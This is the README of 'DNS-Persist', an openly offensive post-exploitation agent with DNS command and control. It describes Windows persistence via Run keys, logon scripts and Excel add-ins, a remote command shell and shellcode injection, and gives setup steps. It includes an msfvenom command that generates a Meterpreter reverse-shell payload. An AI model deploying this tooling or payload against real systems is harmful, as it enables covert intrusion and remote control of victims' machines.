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DNS-Persist

DNS-Persist is a post-exploitation agent which uses DNS for command and control. The server-side code is in Python and the agent is coded in C++. This is the first version, more features and improvements will be made in the future.

Getting Started

Author

0x09AL - https://twitter.com/0x09al

Disclaimer

DO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES.

THE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE.

Did I reinvent the wheel ?

There is a lot of great work on DNS C2 but I created this software to be more focused on the persistence part. I'm no expert in C++ and this is my first "real program" in C++ (so expect some cringe worthy code).

Suggestions about features and improvements are open.

Architecture

There are two main parts:

  1. DNS server
  2. Agent

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Features

Persistence mechanisms

This version has only 3 persistence mechanisms. More will be added later.

  1. LogonScript persistence.
  2. RunKey persistence.
  3. Excel Addin persistence.

'Interactive' command shell

This version supports pseudo-interactive command shell that you can use to execute system commands.

Shellcode Injection

This version supports injection of 32-bit shellcode. The shellcode gets executed in a new thread in the same process, so crashing shellcode or invalid one will also crash the agent. Avoid NULL bytes on the shellcode.

Shellcode generation example

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex

TODO LIST

  1. Add encryption. This version does not have any encryption so take your own risks when using it.
  2. Add more persistence mechanisms.
  3. Agent in different programming languages.

Installation & Usage

Server side

pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py

By default a DNS server on port 53 will be started. You can change that on the server.py file.

Agent

I used Visual Studio 2010 to code the agent so importing and compiling it should be fairly easy.

Keep in mind to change the DOMAIN_NAME variable in Declarations.h, to match your domain name.

The domain nameservers should point to the DNS-Persist IP address.

#define DOMAIN_NAME "example.com"

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